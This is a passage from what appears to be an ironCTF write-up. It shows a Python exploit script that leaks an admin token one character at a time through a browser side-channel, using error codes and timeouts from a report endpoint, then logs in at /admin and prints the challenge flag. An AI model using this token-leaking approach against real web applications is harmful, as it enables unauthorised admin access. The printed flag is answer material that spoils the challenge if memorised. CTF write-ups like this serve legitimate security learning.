postdata = {"post_id": post_url, "auth_key": auth_key}
try:
response = requests.post(url + "/report", data=postdata, timeout=4)
if response.status_code == 500:
admintoken += i
break
elif response.status_code != 200:
print(f"{response.status_code} {response.text}")
except requests.exceptions.Timeout:
admintoken += i
break
else:
print(f"Only found {admintoken}")
notworking = True
print(total)
if len(admintoken) == token_size:
print(f"{ttl_start.text}")
ttl_end = requests.get(url + "/pow?ttl=" + auth_key)
print(f"{ttl_end.text}")
response = requests.post(
url + "/admin",
data={"UserAdminToken": admintoken, "auth_key": auth_key},
allow_redirects=False,
)
print(response.text)
Output of the terminal feels like real hacking. if you want to try it for fun do it locally don’t spam it on the remote instance.
Flag: ironCTF{___s1d3_ch4nn3l_4tt4cks_0n_br0ws3rs_1s_co0l___}